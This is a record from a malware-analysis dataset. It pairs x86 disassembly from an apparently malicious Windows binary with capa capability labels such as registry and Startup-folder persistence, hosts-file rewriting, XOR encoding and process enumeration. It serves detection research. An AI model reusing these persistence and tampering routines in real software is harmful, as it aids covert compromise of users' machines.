joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404cc0
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x404
push ebp
push esi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x438c82]
test ax, ax
je 0x404da8
push 0
xor esi, esi
push 0x80
push 4
mov si, ax
mov eax, dword [esp + 0x41c]
push 0
push 2
push 0x40000000
push eax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x404da8
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x404da0
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0xc], 0
test esi, esi
jbe 0x404da0
push ebx
test edi, 0x3ff
jne 0x404d82
xor ebx, ebx
call fcn.00413be3
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x404d63
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, esi
jb 0x404d59
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x404
ret

Function at 0x404dc0
Capabilities:
Persist via userinitmprlogonscript registry value
Set registry value

Disassembly:
sub esp, 0x108
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push eax
push 0x20006
push 0
push str.Environment_
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x404e33
lea ecx, [esp + 4]
push 0x104
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 4]
push edx
push 1
push 0
push str.UserInitMprLogonScript
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x108
ret

Function at 0x404e40
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x108
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x404eb3
lea ecx, [esp + 4]
push 0x104
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 4]
push edx
push 1
push 0
push 0x432280
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x108
ret
Function at 0x405160
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.00405000
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x4051a8
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x6d
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x405182
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x4061b0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call fcn.00422518
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.00413c10
add eax, 1
adc edx, 0
push edx
push eax
push 0x432810
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret

Function at 0x406220
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call fcn.00422518
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.00413c10
add eax, 1
adc edx, 0
push edx
push eax
push 0x432810
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret

Function at 0x406880
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
push ebx
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0xc]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x406916
mov edx, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0x18]
push edx
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.WTSAPI32.dll_WTSFreeMemory
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x40690a
mov edi, 0x432964
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
mov edi, 0x432964
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x4069d0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x30c
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, str.CTXOPConntion_Class
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20]
mov byte [esp + 0x214], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x215]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x406b50
mov esi, str.CTXOPConntion_Class
lea eax, [esp + 0xc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406a6d
test cl, cl
je 0x406a69
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406a6d
add eax, 2
add esi, 2
test cl, cl
jne 0x406a49
xor eax, eax
jmp 0x406a72
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x406b2c
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0xb]
dec ecx
cmp al, 0x5f
jne 0x406a99
lea edi, [esp + ecx + 0xd]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x214]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x110]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x43180c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 2
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
mov ebp, eax
lea eax, [esp + 0xc]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x406a40
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x110]
push ecx
call fcn.00406950
lea edi, [esp + 0x114]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop esi
cmp ecx, 4
pop ebp
lea eax, [esp + 0x104]
ja 0x406b8c
mov eax, str.NULL
add esp, 0x30c
ret
Function at 0x407090
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0
call fcn.00406f30
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x4070d2
mov edx, dword [esp + 8]
mov bl, byte [ecx + edx]
xor bl, 0x86
mov byte [ecx + edx], bl
mov edx, dword [esp + 8]
mov bl, byte [ecx + edx]
add bl, 0xe7
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x4070b3
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0
push ecx
push esi
call fcn.00406f30
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40711a
mov edx, dword [esp + 0x10]
mov bl, byte [ecx + edx]
xor bl, 0x83
mov byte [ecx + edx], bl
mov edx, dword [esp + 0x10]
mov bl, byte [ecx + edx]
add bl, 0x79
mov byte [ecx + edx], bl
mov edx, dword [esp + 0x10]
mov bl, byte [ecx + edx]
xor bl, 0x21
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x4070ee
mov eax, dword [esp + 0x10]
pop esi
pop ebx
pop ecx
ret
Function at 0x407830
Capabilities:
Create process on windows
Query environment variable

Disassembly:
sub esp, 0x554
mov ecx, 0x41
xor eax, eax
push ebp
mov ebp, dword [esp + 0x55c]
push esi
push edi
lea edi, [esp + 0x60]
push 0x2e
rep stosd dword es:[edi], eax
push ebp
call fcn.004138e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40786a
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x20
push esi
stosb byte es:[edi], al
call fcn.004138e0
add esp, 8
test eax, eax
je 0x4078c7
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
test ecx, ecx
jle 0x4078ed
cmp byte [ecx + esi], 0x20
je 0x4078b3
dec ecx
test ecx, ecx
jg 0x4078a6
jmp 0x4078ed
push ecx
lea eax, [esp + 0x168]
push esi
push eax
call fcn.00414960
add esp, 0xc
jmp 0x4078ed
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x164]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0x104
lea ecx, [esp + 0x68]
push 0
push ecx
push 1
lea edx, [esp + 0x178]
push 0
push edx
push closesocket
call fcn.0040a040
add esp, 0x20
test eax, eax
jne 0x407924
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x36c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x60]
lea ecx, [esp + 0x36c]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
mov byte [esp + 0x274], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x275]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0x104
lea edx, [esp + 0x27c]
push 0
stosb byte es:[edi], al
push edx
push 2
lea eax, [esp + 0x38c]
push 0
push eax
push closesocket
call fcn.0040a040
add esp, 0x2c
test eax, eax
jne 0x4079ab
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
lea ecx, [esp + 0x60]
push 0x104
lea edx, [esp + 0x26c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [esp + 0x60]
push 0x432c04
push eax
call fcn.00413030
add esp, 8
test eax, eax
jne 0x407a0b
lea ecx, [esp + 0x60]
push 0x431bb8
push ecx
call fcn.00413030
add esp, 8
test eax, eax
jne 0x407a0b
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x60]
push 0x43180c
push edx
call esi
lea eax, [esp + 0x60]
push ebp
push eax
call esi
jmp 0x407a13
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x568]
mov dword [esp + 0xc], 0x44
test eax, eax
je 0x407a3d
mov dword [esp + 0x14], str.WinSta0Default
jmp 0x407a4c
mov dword [esp + 0x38], 1
mov word [esp + 0x3c], 0
lea ecx, [esp + 0x50]
lea edx, [esp + 0xc]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x7c]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
mov al, 1
pop ebp
add esp, 0x554
ret
Function at 0x407a80
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1d8
push ebx
mov ebx, dword [esp + 0x1e0]
push esi
push edi
mov ecx, 0x1b
mov esi, ebx
lea edi, [esp + 0x10]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x59
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], 0
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 2
stosb byte es:[edi], al
push 0
push 1
lea eax, [esp + 0x2c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407adf
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1d8
ret
mov edx, dword [esp + 0x1ec]
lea ecx, [esp + 0xc]
push 0
add edx, 0xffffff94
push ecx
add ebx, 0x6c
push edx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x407b0a
pop edi
pop esi
pop ebx
add esp, 0x1d8
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x18]
lea ecx, [esp + 0x7c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x14]
sub eax, 0
je 0x407b57
dec eax
je 0x407b4e
sub eax, 2
jne 0x407b66
lea edx, [esp + 0x7c]
push edx
call fcn.00402ca0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x1d8
ret
lea eax, [esp + 0x7c]
push 0
push eax
jmp 0x407b5e
lea ecx, [esp + 0x7c]
push 5
push ecx
call fcn.00407830
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1d8
ret

Function at 0x407b80
Capabilities:
Query environment variable

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push 0x104
push ebx
push str.UserProfile
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407b9c
pop ebx
ret
push esi
push edi
mov byte [eax + ebx], 0
mov edi, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
ret
Function at 0x407be0
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x314
push esi
push edi
mov edi, dword [esp + 0x324]
test edi, edi
jne 0x407bfe
pop edi
xor eax, eax
pop esi
add esp, 0x314
ret
lea eax, [esp + 8]
push eax
push 0x42cd48
push 1
push 0
push 0x42cd58
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x407c26
pop edi
xor eax, eax
pop esi
add esp, 0x314
ret
mov eax, dword [esp + 8]
lea edx, [esp + 0xc]
push edx
push 0x42cd68
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
jge 0x407c52
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
xor eax, eax
pop esi
add esp, 0x314
ret
mov esi, dword [esp + 0x320]
mov eax, dword [esp + 8]
test esi, esi
mov edx, dword [eax]
jne 0x407c6c
mov ecx, dword [0x43e020]
push ecx
jmp 0x407c6d
push esi
push eax
call dword [edx + 0x50]
mov ecx, dword [esp + 0x32c]
test ecx, ecx
je 0x407c87
mov eax, dword [esp + 8]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x50]
mov ecx, dword [esp + 0x330]
test cx, cx
je 0x407c9e
mov eax, dword [esp + 8]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x34]
mov ecx, dword [esp + 0x334]
test ecx, ecx
je 0x407cb4
mov eax, dword [esp + 8]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x1c]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0x338]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [esp + 0x328]
test eax, eax
je 0x407cec
push str..lnk
push eax
push edi
lea eax, [esp + 0x1c]
push str._s_s_s
push eax
call fcn.0041486a
add esp, 0x14
jmp 0x407d59
test esi, esi
push 0x5c
je 0x407cf5
push esi
jmp 0x407cfc
mov ecx, dword [0x43e020]
push ecx
call fcn.004138e0
add esp, 8
test eax, eax
jne 0x407d27
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
xor eax, eax
pop esi
add esp, 0x314
ret
push eax
push edi
lea edx, [esp + 0x18]
push 0x4322bc
push edx
call fcn.0041486a
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + ecx + 0x10]
mov byte [eax - 3], 0x6c
mov byte [eax - 2], 0x6e
mov byte [eax - 1], 0x6b
lea eax, [esp + 0x114]
push 0x104
push eax
lea ecx, [esp + 0x18]
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x114]
push 1
push ecx
mov edx, dword [eax]
push eax
call dword [edx + 0x18]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edi
test esi, esi
setge al
pop esi
add esp, 0x314
ret
Function at 0x407f70
Capabilities:
Set registry value

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push eax
call fcn.004148bc
add esp, 4
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x407f9f
xor eax, eax
pop ecx
ret
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push esi
lea edx, [esp + 4]
push 4
push edx
push 4
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
pop ecx
ret

Function at 0x4081a0
Capabilities:
Set registry value

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push eax
call fcn.004148bc
add esp, 4
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x4081cf
xor eax, eax
pop ecx
ret
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push esi
lea edx, [esp + 4]
push 4
push edx
push 4
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
pop ecx
ret

Function at 0x408340
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov edi, eax
call fcn.00422518
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4083e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x4083e1
mov ebp, dword [esp + 0x14]
lea ebx, [esi + 0x24]
push ebp
call fcn.00420f36
add esp, 4
push eax
push ebx
call fcn.00420f36
add esp, 4
push eax
call fcn.00413030
add esp, 8
test eax, eax
jbe 0x4083ab
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4083e1
push ebp
call fcn.00420f36
add esp, 4
push eax
push ebx
call fcn.00420f36
add esp, 4
push eax
call fcn.00413030
add esp, 8
test eax, eax
ja 0x4083a1
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4083b6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x4084c0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9c5c]
mov dword [ebx], 0x428534
test eax, eax
jbe 0x408501
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x1c]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9c5c]
inc edi
add esi, 4
cmp edi, eax
jb 0x4084e1
pop esi
pop ebp
mov ecx, ebx
call fcn.00409f70
pop edi
pop ebx
ret
Function at 0x4092c0
Capabilities:
Get common file path
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
lea ecx, [esp + 0x24]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x409374
mov eax, dword [esp + 0x11c]
mov ecx, dword [esp + 0x118]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
add esp, 0x108
ret 8

Function at 0x409380
Capabilities:
Get common file path
Get file size
Read file on windows
Set file attributes

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._system32driversetchosts
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
lea ecx, [esp + 0x28]
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40947a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [edi + 1]
push ebx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x409459
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov byte [edi], 0xb1
call dword [sym.imp.KERNEL32.dll_LocalSize]
push eax
push edi
mov ecx, ebp
call fcn.00409fa0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret